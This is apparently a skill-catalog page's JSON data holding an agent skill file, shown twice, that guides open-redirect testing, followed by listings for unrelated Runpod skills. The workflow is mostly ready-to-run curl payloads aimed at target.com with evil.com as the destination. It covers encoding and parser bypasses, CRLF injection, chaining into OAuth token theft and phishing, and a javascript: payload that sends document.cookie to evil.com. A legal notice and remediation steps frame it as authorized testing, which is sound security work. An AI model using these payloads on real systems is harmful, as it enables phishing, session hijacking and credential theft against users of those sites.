[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7ABTD1MR53652T4RNMPRWM3":3,"skill-same:01M7ABTD1MR53652T4RNMPRWM3":85},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":16,"sourceHtmlUrl":17,"categories":18,"keywords":19,"publishedAt":20,"linkOnly":21,"markdownContent":22,"markdownBody":23,"frontMatter":24,"refName":48,"commitSha":49,"skillDirectory":50,"forksCount":14,"repositoryHtmlUrl":51,"repositoryHomepageUrl":6,"ownerHtmlUrl":52,"ownerBlogUrl":6,"ownerDescription":53,"updatedAt":54,"install":55,"resources":68},"01M7ABTD1MR53652T4RNMPRWM3","testing-for-open-redirect-vulnerabilities",null,"Identifies and exploits open redirect vulnerabilities by analyzing URL redirection parameters (next, url, redirect, return, goto), applying bypass techniques, and chaining findings into phishing or token-theft exploits, using Burp Suite\u002FOWASP ZAP and Burp Collaborator. Use when testing login\u002Flogout flows, OAuth redirect_uri handling, or SSO redirect validation.","NeelakshSaxena\u002FVayu","NeelakshSaxena","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F87892838?v=4","01M7A3B9YFS6F6N9DD1787DT86","Neelaksh Saxena","01M7A3B9ZKBT09MNMPX2XN69BY",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Ftesting-for-open-redirect-vulnerabilities\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Ftesting-for-open-redirect-vulnerabilities\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: testing-for-open-redirect-vulnerabilities\ndescription: Identifies and exploits open redirect vulnerabilities by analyzing URL\n  redirection parameters (next, url, redirect, return, goto), applying bypass techniques,\n  and chaining findings into phishing or token-theft exploits, using Burp Suite\u002FOWASP ZAP\n  and Burp Collaborator. Use when testing login\u002Flogout flows, OAuth redirect_uri handling,\n  or SSO redirect validation.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags:\n- open-redirect\n- url-redirect\n- phishing\n- owasp\n- url-validation\n- redirect-bypass\n- unvalidated-redirect\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1505.003\n- T1083\n- T1566\n---\n\n# Testing for Open Redirect Vulnerabilities\n\n## When to Use\n- When testing login\u002Flogout flows that redirect users to specified URLs\n- During assessment of OAuth authorization endpoints with redirect_uri parameters\n- When auditing applications with URL parameters (next, url, redirect, return, goto, target)\n- During phishing simulation to chain open redirects with credential harvesting\n- When testing SSO implementations for redirect validation weaknesses\n\n## Prerequisites\n- Burp Suite or OWASP ZAP for intercepting redirect requests\n- Collection of open redirect bypass payloads\n- External domain or Burp Collaborator for redirect confirmation\n- Understanding of URL parsing and encoding schemes\n- Browser with developer tools for observing redirect chains\n- Knowledge of HTTP 301\u002F302\u002F303\u002F307\u002F308 redirect status codes\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1 — Identify Redirect Parameters\n```bash\n# Common redirect parameter names to test:\n# ?url= ?redirect= ?next= ?return= ?returnUrl= ?goto= ?target=\n# ?dest= ?destination= ?redir= ?redirect_uri= ?continue= ?view=\n\n# Search for redirect parameters in the application\n# Use Burp Suite to crawl and identify all parameters\n\n# Test basic redirect\ncurl -v \"http:\u002F\u002Ftarget.com\u002Flogin?next=https:\u002F\u002Fevil.com\"\ncurl -v \"http:\u002F\u002Ftarget.com\u002Flogout?redirect=https:\u002F\u002Fevil.com\"\ncurl -v \"http:\u002F\u002Ftarget.com\u002Foauth\u002Fauthorize?redirect_uri=https:\u002F\u002Fevil.com\"\n```\n\n### Step 2 — Test Basic Open Redirect Payloads\n```bash\n# Direct external URL\ncurl -v \"http:\u002F\u002Ftarget.com\u002Fredirect?url=https:\u002F\u002Fevil.com\"\n\n# Protocol-relative URL\ncurl -v \"http:\u002F\u002Ftarget.com\u002Fredirect?url=\u002F\u002Fevil.com\"\n\n# URL with @ symbol (userinfo abuse)\ncurl -v \"http:\u002F\u002Ftarget.com\u002Fredirect?url=https:\u002F\u002Ftarget.com@evil.com\"\n\n# Backslash-based redirect\ncurl -v \"http:\u002F\u002Ftarget.com\u002Fredirect?url=https:\u002F\u002Fevil.com\\@target.com\"\n\n# Null byte injection\ncurl -v \"http:\u002F\u002Ftarget.com\u002Fredirect?url=https:\u002F\u002Fevil.com%00.target.com\"\n```\n\n### Step 3 — Apply Validation Bypass Techniques\n```bash\n# Subdomain confusion bypass\ncurl -v \"http:\u002F\u002Ftarget.com\u002Fredirect?url=https:\u002F\u002Ftarget.com.evil.com\"\ncurl -v \"http:\u002F\u002Ftarget.com\u002Fredirect?url=https:\u002F\u002Fevil.com\u002Ftarget.com\"\n\n# URL encoding bypass\ncurl -v \"http:\u002F\u002Ftarget.com\u002Fredirect?url=https%3A%2F%2Fevil.com\"\ncurl -v \"http:\u002F\u002Ftarget.com\u002Fredirect?url=%68%74%74%70%73%3a%2f%2f%65%76%69%6c%2e%63%6f%6d\"\n\n# Double URL encoding\ncurl -v \"http:\u002F\u002Ftarget.com\u002Fredirect?url=%2568%2574%2574%2570%253A%252F%252Fevil.com\"\n\n# Mixed case protocol\ncurl -v \"http:\u002F\u002Ftarget.com\u002Fredirect?url=HtTpS:\u002F\u002Fevil.com\"\n\n# CRLF injection in redirect\ncurl -v \"http:\u002F\u002Ftarget.com\u002Fredirect?url=%0d%0aLocation:%20https:\u002F\u002Fevil.com\"\n\n# JavaScript protocol\ncurl -v \"http:\u002F\u002Ftarget.com\u002Fredirect?url=javascript:alert(document.domain)\"\n\n# Data URI\ncurl -v \"http:\u002F\u002Ftarget.com\u002Fredirect?url=data:text\u002Fhtml,\u003Cscript>alert(1)\u003C\u002Fscript>\"\n```\n\n### Step 4 — Test Path-Based Redirects\n```bash\n# Relative path injection\ncurl -v \"http:\u002F\u002Ftarget.com\u002Fredirect?url=\u002F\\evil.com\"\ncurl -v \"http:\u002F\u002Ftarget.com\u002Fredirect?url=\u002F.evil.com\"\n\n# Path traversal with redirect\ncurl -v \"http:\u002F\u002Ftarget.com\u002Fredirect?url=\u002F..\u002F..\u002F..\u002Fevil.com\"\n\n# Fragment-based bypass\ncurl -v \"http:\u002F\u002Ftarget.com\u002Fredirect?url=https:\u002F\u002Fevil.com#target.com\"\n\n# Parameter pollution for redirect\ncurl -v \"http:\u002F\u002Ftarget.com\u002Fredirect?url=https:\u002F\u002Ftarget.com&url=https:\u002F\u002Fevil.com\"\n```\n\n### Step 5 — Chain with Other Vulnerabilities\n```bash\n# Chain with OAuth for token theft\n# Step 1: Find open redirect on target.com\n# Step 2: Use it as redirect_uri in OAuth flow\ncurl -v \"http:\u002F\u002Ftarget.com\u002Foauth\u002Fauthorize?client_id=CLIENT&redirect_uri=http:\u002F\u002Ftarget.com\u002Fredirect?url=https:\u002F\u002Fevil.com&response_type=code\"\n\n# Chain with phishing\n# Create convincing phishing page at evil.com\n# Use open redirect: http:\u002F\u002Ftarget.com\u002Fredirect?url=https:\u002F\u002Fevil.com\u002Flogin\n# Victim sees target.com in the initial URL\n\n# Chain with XSS via javascript: protocol\ncurl -v \"http:\u002F\u002Ftarget.com\u002Fredirect?url=javascript:fetch('https:\u002F\u002Fevil.com\u002F?c='+document.cookie)\"\n```\n\n### Step 6 — Automate Open Redirect Testing\n```bash\n# Use OpenRedireX for automated testing\npython3 openredirex.py -l urls.txt -p payloads.txt --keyword FUZZ\n\n# Use gf tool to extract redirect parameters from URLs\ncat urls.txt | gf redirect | sort -u > redirect_params.txt\n\n# Mass test with nuclei\necho \"http:\u002F\u002Ftarget.com\" | nuclei -t http\u002Fvulnerabilities\u002Fgeneric\u002Fopen-redirect.yaml\n\n# Test with ffuf\nffuf -w open-redirect-payloads.txt -u \"http:\u002F\u002Ftarget.com\u002Fredirect?url=FUZZ\" -mr \"Location: https:\u002F\u002Fevil\"\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| Unvalidated Redirect | Application redirects to user-supplied URL without checking destination |\n| URL Parsing Inconsistency | Different libraries parse URLs differently, enabling bypass |\n| Protocol-Relative URL | Using \u002F\u002F prefix to redirect while inheriting current protocol |\n| Userinfo Abuse | Using @ symbol to make URL appear to belong to trusted domain |\n| Open Redirect Chain | Combining multiple open redirects or chaining with other vulnerabilities |\n| DOM-Based Redirect | Client-side JavaScript performing redirect using attacker-controlled input |\n| Meta Refresh Redirect | HTML meta tag performing redirect without server-side 302 |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| OpenRedireX | Automated open redirect vulnerability testing tool |\n| Burp Suite | HTTP proxy for intercepting and modifying redirect parameters |\n| gf (tomnomnom) | Pattern matcher to extract redirect parameters from URL lists |\n| nuclei | Template-based scanner with open redirect detection templates |\n| ffuf | Fuzzer for mass-testing redirect parameter payloads |\n| OWASP ZAP | Automated scanner with open redirect detection |\n\n## Common Scenarios\n\n1. **Phishing Amplification** — Use open redirect on a trusted domain to lend credibility to phishing URLs targeting users\n2. **OAuth Token Theft** — Exploit open redirect as redirect_uri in OAuth flows to steal authorization codes and access tokens\n3. **SSO Bypass** — Redirect SSO authentication responses to attacker-controlled servers to capture session tokens\n4. **XSS via Redirect** — Chain open redirect with javascript: protocol to achieve cross-site scripting\n5. **Referer Leakage** — Use open redirect to leak sensitive tokens in Referer headers when redirecting to external sites\n\n## Output Format\n\n```\n## Open Redirect Assessment Report\n- **Target**: http:\u002F\u002Ftarget.com\n- **Vulnerable Parameters Found**: 3\n- **Bypass Techniques Required**: URL encoding, userinfo abuse\n\n### Findings\n| # | Endpoint | Parameter | Payload | Impact |\n|---|----------|-----------|---------|--------|\n| 1 | \u002Flogin | next | \u002F\u002Fevil.com | Phishing |\n| 2 | \u002Foauth\u002Fauthorize | redirect_uri | https:\u002F\u002Ftarget.com@evil.com | Token Theft |\n| 3 | \u002Flogout | return | https:\u002F\u002Fevil.com%00.target.com | Session Redirect |\n\n### Remediation\n- Implement allowlist of permitted redirect destinations\n- Validate redirect URLs server-side using strict URL parsing\n- Reject any redirect URL containing external domains\n- Use indirect reference maps instead of direct URL parameters\n```\n","# Testing for Open Redirect Vulnerabilities\n\n## When to Use\n- When testing login\u002Flogout flows that redirect users to specified URLs\n- During assessment of OAuth authorization endpoints with redirect_uri parameters\n- When auditing applications with URL parameters (next, url, redirect, return, goto, target)\n- During phishing simulation to chain open redirects with credential harvesting\n- When testing SSO implementations for redirect validation weaknesses\n\n## Prerequisites\n- Burp Suite or OWASP ZAP for intercepting redirect requests\n- Collection of open redirect bypass payloads\n- External domain or Burp Collaborator for redirect confirmation\n- Understanding of URL parsing and encoding schemes\n- Browser with developer tools for observing redirect chains\n- Knowledge of HTTP 301\u002F302\u002F303\u002F307\u002F308 redirect status codes\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1 — Identify Redirect Parameters\n```bash\n# Common redirect parameter names to test:\n# ?url= ?redirect= ?next= ?return= ?returnUrl= ?goto= ?target=\n# ?dest= ?destination= ?redir= ?redirect_uri= ?continue= ?view=\n\n# Search for redirect parameters in the application\n# Use Burp Suite to crawl and identify all parameters\n\n# Test basic redirect\ncurl -v \"http:\u002F\u002Ftarget.com\u002Flogin?next=https:\u002F\u002Fevil.com\"\ncurl -v \"http:\u002F\u002Ftarget.com\u002Flogout?redirect=https:\u002F\u002Fevil.com\"\ncurl -v \"http:\u002F\u002Ftarget.com\u002Foauth\u002Fauthorize?redirect_uri=https:\u002F\u002Fevil.com\"\n```\n\n### Step 2 — Test Basic Open Redirect Payloads\n```bash\n# Direct external URL\ncurl -v \"http:\u002F\u002Ftarget.com\u002Fredirect?url=https:\u002F\u002Fevil.com\"\n\n# Protocol-relative URL\ncurl -v \"http:\u002F\u002Ftarget.com\u002Fredirect?url=\u002F\u002Fevil.com\"\n\n# URL with @ symbol (userinfo abuse)\ncurl -v \"http:\u002F\u002Ftarget.com\u002Fredirect?url=https:\u002F\u002Ftarget.com@evil.com\"\n\n# Backslash-based redirect\ncurl -v \"http:\u002F\u002Ftarget.com\u002Fredirect?url=https:\u002F\u002Fevil.com\\@target.com\"\n\n# Null byte injection\ncurl -v \"http:\u002F\u002Ftarget.com\u002Fredirect?url=https:\u002F\u002Fevil.com%00.target.com\"\n```\n\n### Step 3 — Apply Validation Bypass Techniques\n```bash\n# Subdomain confusion bypass\ncurl -v \"http:\u002F\u002Ftarget.com\u002Fredirect?url=https:\u002F\u002Ftarget.com.evil.com\"\ncurl -v \"http:\u002F\u002Ftarget.com\u002Fredirect?url=https:\u002F\u002Fevil.com\u002Ftarget.com\"\n\n# URL encoding bypass\ncurl -v \"http:\u002F\u002Ftarget.com\u002Fredirect?url=https%3A%2F%2Fevil.com\"\ncurl -v \"http:\u002F\u002Ftarget.com\u002Fredirect?url=%68%74%74%70%73%3a%2f%2f%65%76%69%6c%2e%63%6f%6d\"\n\n# Double URL encoding\ncurl -v \"http:\u002F\u002Ftarget.com\u002Fredirect?url=%2568%2574%2574%2570%253A%252F%252Fevil.com\"\n\n# Mixed case protocol\ncurl -v \"http:\u002F\u002Ftarget.com\u002Fredirect?url=HtTpS:\u002F\u002Fevil.com\"\n\n# CRLF injection in redirect\ncurl -v \"http:\u002F\u002Ftarget.com\u002Fredirect?url=%0d%0aLocation:%20https:\u002F\u002Fevil.com\"\n\n# JavaScript protocol\ncurl -v \"http:\u002F\u002Ftarget.com\u002Fredirect?url=javascript:alert(document.domain)\"\n\n# Data URI\ncurl -v \"http:\u002F\u002Ftarget.com\u002Fredirect?url=data:text\u002Fhtml,\u003Cscript>alert(1)\u003C\u002Fscript>\"\n```\n\n### Step 4 — Test Path-Based Redirects\n```bash\n# Relative path injection\ncurl -v \"http:\u002F\u002Ftarget.com\u002Fredirect?url=\u002F\\evil.com\"\ncurl -v \"http:\u002F\u002Ftarget.com\u002Fredirect?url=\u002F.evil.com\"\n\n# Path traversal with redirect\ncurl -v \"http:\u002F\u002Ftarget.com\u002Fredirect?url=\u002F..\u002F..\u002F..\u002Fevil.com\"\n\n# Fragment-based bypass\ncurl -v \"http:\u002F\u002Ftarget.com\u002Fredirect?url=https:\u002F\u002Fevil.com#target.com\"\n\n# Parameter pollution for redirect\ncurl -v \"http:\u002F\u002Ftarget.com\u002Fredirect?url=https:\u002F\u002Ftarget.com&url=https:\u002F\u002Fevil.com\"\n```\n\n### Step 5 — Chain with Other Vulnerabilities\n```bash\n# Chain with OAuth for token theft\n# Step 1: Find open redirect on target.com\n# Step 2: Use it as redirect_uri in OAuth flow\ncurl -v \"http:\u002F\u002Ftarget.com\u002Foauth\u002Fauthorize?client_id=CLIENT&redirect_uri=http:\u002F\u002Ftarget.com\u002Fredirect?url=https:\u002F\u002Fevil.com&response_type=code\"\n\n# Chain with phishing\n# Create convincing phishing page at evil.com\n# Use open redirect: http:\u002F\u002Ftarget.com\u002Fredirect?url=https:\u002F\u002Fevil.com\u002Flogin\n# Victim sees target.com in the initial URL\n\n# Chain with XSS via javascript: protocol\ncurl -v \"http:\u002F\u002Ftarget.com\u002Fredirect?url=javascript:fetch('https:\u002F\u002Fevil.com\u002F?c='+document.cookie)\"\n```\n\n### Step 6 — Automate Open Redirect Testing\n```bash\n# Use OpenRedireX for automated testing\npython3 openredirex.py -l urls.txt -p payloads.txt --keyword FUZZ\n\n# Use gf tool to extract redirect parameters from URLs\ncat urls.txt | gf redirect | sort -u > redirect_params.txt\n\n# Mass test with nuclei\necho \"http:\u002F\u002Ftarget.com\" | nuclei -t http\u002Fvulnerabilities\u002Fgeneric\u002Fopen-redirect.yaml\n\n# Test with ffuf\nffuf -w open-redirect-payloads.txt -u \"http:\u002F\u002Ftarget.com\u002Fredirect?url=FUZZ\" -mr \"Location: https:\u002F\u002Fevil\"\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| Unvalidated Redirect | Application redirects to user-supplied URL without checking destination |\n| URL Parsing Inconsistency | Different libraries parse URLs differently, enabling bypass |\n| Protocol-Relative URL | Using \u002F\u002F prefix to redirect while inheriting current protocol |\n| Userinfo Abuse | Using @ symbol to make URL appear to belong to trusted domain |\n| Open Redirect Chain | Combining multiple open redirects or chaining with other vulnerabilities |\n| DOM-Based Redirect | Client-side JavaScript performing redirect using attacker-controlled input |\n| Meta Refresh Redirect | HTML meta tag performing redirect without server-side 302 |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| OpenRedireX | Automated open redirect vulnerability testing tool |\n| Burp Suite | HTTP proxy for intercepting and modifying redirect parameters |\n| gf (tomnomnom) | Pattern matcher to extract redirect parameters from URL lists |\n| nuclei | Template-based scanner with open redirect detection templates |\n| ffuf | Fuzzer for mass-testing redirect parameter payloads |\n| OWASP ZAP | Automated scanner with open redirect detection |\n\n## Common Scenarios\n\n1. **Phishing Amplification** — Use open redirect on a trusted domain to lend credibility to phishing URLs targeting users\n2. **OAuth Token Theft** — Exploit open redirect as redirect_uri in OAuth flows to steal authorization codes and access tokens\n3. **SSO Bypass** — Redirect SSO authentication responses to attacker-controlled servers to capture session tokens\n4. **XSS via Redirect** — Chain open redirect with javascript: protocol to achieve cross-site scripting\n5. **Referer Leakage** — Use open redirect to leak sensitive tokens in Referer headers when redirecting to external sites\n\n## Output Format\n\n```\n## Open Redirect Assessment Report\n- **Target**: http:\u002F\u002Ftarget.com\n- **Vulnerable Parameters Found**: 3\n- **Bypass Techniques Required**: URL encoding, userinfo abuse\n\n### Findings\n| # | Endpoint | Parameter | Payload | Impact |\n|---|----------|-----------|---------|--------|\n| 1 | \u002Flogin | next | \u002F\u002Fevil.com | Phishing |\n| 2 | \u002Foauth\u002Fauthorize | redirect_uri | https:\u002F\u002Ftarget.com@evil.com | Token Theft |\n| 3 | \u002Flogout | return | https:\u002F\u002Fevil.com%00.target.com | Session Redirect |\n\n### Remediation\n- Implement allowlist of permitted redirect destinations\n- Validate redirect URLs server-side using strict URL parsing\n- Reject any redirect URL containing external domains\n- Use indirect reference maps instead of direct URL parameters\n```\n",{"name":5,"tags":25,"author":33,"domain":34,"license":15,"version":35,"nist_csf":36,"subdomain":41,"description":7,"mitre_attack":42},[26,27,28,29,30,31,32],"open-redirect","url-redirect","phishing","owasp","url-validation","redirect-bypass","unvalidated-redirect","mahipal","cybersecurity","1.0",[37,38,39,40],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01","web-application-security",[43,44,45,46,47],"T1190","T1059.007","T1505.003","T1083","T1566","main","7540bbccf0c1ded6156a467b02c95b61ad62413f",".agents\u002Fskills\u002Ftesting-for-open-redirect-vulnerabilities","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena","Currently exploring the intersection of tech","2026-09-11 03:02:31",{"source":8,"skillName":5,"commands":56,"prompt":66,"zipAvailable":67},[57,60,63],{"tool":58,"command":59},"npx","npx skills add NeelakshSaxena\u002FVayu --skill testing-for-open-redirect-vulnerabilities",{"tool":61,"command":62},"bunx","bunx skills add NeelakshSaxena\u002FVayu --skill testing-for-open-redirect-vulnerabilities",{"tool":64,"command":65},"pnpm","pnpm dlx skills add NeelakshSaxena\u002FVayu --skill testing-for-open-redirect-vulnerabilities","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Ftesting-for-open-redirect-vulnerabilities\u002FSKILL.md",true,[69,73,79],{"path":70,"resourceType":70,"resourceTypeDesc":71,"sizeBytes":72,"sourceHtmlUrl":16},"LICENSE","许可证",11255,{"path":74,"resourceType":75,"resourceTypeDesc":76,"sizeBytes":77,"sourceHtmlUrl":78},"references\u002Fapi-reference.md","REFERENCE","参考文档",1496,"https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Ftesting-for-open-redirect-vulnerabilities\u002Freferences\u002Fapi-reference.md",{"path":80,"resourceType":81,"resourceTypeDesc":82,"sizeBytes":83,"sourceHtmlUrl":84},"scripts\u002Fagent.py","SCRIPT","脚本",6115,"https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Ftesting-for-open-redirect-vulnerabilities\u002Fscripts\u002Fagent.py",[86,93,100,107,114,121],{"skillNo":87,"name":88,"nameZh":6,"description":89,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":90,"categories":91,"keywords":92,"publishedAt":20},"01M7ACCCVNCFKMA9X6D15X6G98","runpodctl","Runpod CLI for managing GPU\u002FCPU workloads from the terminal — pods, serverless endpoints, templates, network volumes, Hub deploys, models, SSH, and file transfer (send\u002Freceive). Use for terminal\u002FCI\u002Fscripting, Hub browse\u002Fdeploy, SSH setup, `doctor`, or when the Runpod MCP tools are not connected. For structured tool calls in an MCP-enabled session, prefer runpod-mcp.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpodctl\u002FSKILL.md",[],[],{"skillNo":94,"name":95,"nameZh":6,"description":96,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":97,"categories":98,"keywords":99,"publishedAt":20},"01M7ACC63SRHEA5KMCHSMZK2TC","runpod","Start here for any Runpod task — running GPU\u002FCPU pods, deploying serverless endpoints, templates, network volumes, building images, or understanding how Runpod works. Routes to the right skill (runpod-mcp, runpodctl, flash, companion-clis, runpod-usage, runpod-templates, runpod-migrate) and indexes two dozen live-verified end-to-end examples (golden paths) — use it when the lane is unclear, and for any multi-step or provisioning task even when it is not.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod\u002FSKILL.md",[],[],{"skillNo":101,"name":102,"nameZh":6,"description":103,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":104,"categories":105,"keywords":106,"publishedAt":20},"01M7ACC0Q1C89N9BZBV91CTQTF","runpod-usage","How Runpod works and how to work it — pods vs serverless, GPU\u002FVRAM selection, storage, building a container, networking, plus the agentic pod development loop (provision → ssh-exec → set up → poll readiness) and on-pod install hygiene (uv\u002Fapt). Use to answer \"how does X work\", \"which GPU\", \"how do I build a container\", or \"how do I stand up a workload on a pod\". Guidance, not a tool — execute with runpodctl, runpod-mcp, or flash.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-usage\u002FSKILL.md",[],[],{"skillNo":108,"name":109,"nameZh":6,"description":110,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":111,"categories":112,"keywords":113,"publishedAt":20},"01M7ACBRPE345GF5GM5B8P8RRC","runpod-templates","Runpod's official prebuilt pod templates (ComfyUI, PyTorch, and others): what each image ships, which ports and paths it uses, how to pick one, how to pin a version, and what is missing on first boot. Use when a task says \"run \u003CX> on a pod\" and an official template already covers it, instead of building an image — and when a user needs help with or wants to fix something about a Runpod template they are already running (won't boot, can't reach the UI, missing models, wrong CUDA line, broken ComfyUI workflow metadata on imported workflows): start here and route onward. Deploy with runpodctl or runpod-mcp; end-to-end walkthroughs live in the runpod router's golden paths.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-templates\u002FSKILL.md",[],[],{"skillNo":115,"name":116,"nameZh":6,"description":117,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":118,"categories":119,"keywords":120,"publishedAt":20},"01M7ACBJATHKVX1TWES2F44GY8","runpod-migrate","Migrate a codebase from the Runpod GraphQL API or REST v1 to REST v2 — inventory which parts use which API version, rewrite the call sites, flag breaking changes, and verify. Use when someone asks to move to v2, asks what v2 would change, or asks which Runpod API their code is on. For managing infrastructure rather than migrating code, use runpod-mcp or runpodctl.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-migrate\u002FSKILL.md",[],[],{"skillNo":122,"name":123,"nameZh":6,"description":124,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":125,"categories":126,"keywords":127,"publishedAt":20},"01M7ACBC7GHVH6T9YEAPCG2AP8","runpod-mcp","Manage Runpod infrastructure — pods, serverless endpoints, jobs, templates, network volumes, container-registry auth, GPU\u002FCPU catalog, and billing — via the Runpod MCP server's structured tool calls. Use when the Runpod MCP tools (create-pod, list-endpoints, …) are connected in this session, or to connect them (hosted OAuth or local npx). Prefer this over runpodctl for plain infra CRUD when MCP is available; use runpodctl for the terminal, file transfer, or SSH setup.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-mcp\u002FSKILL.md",[],[]]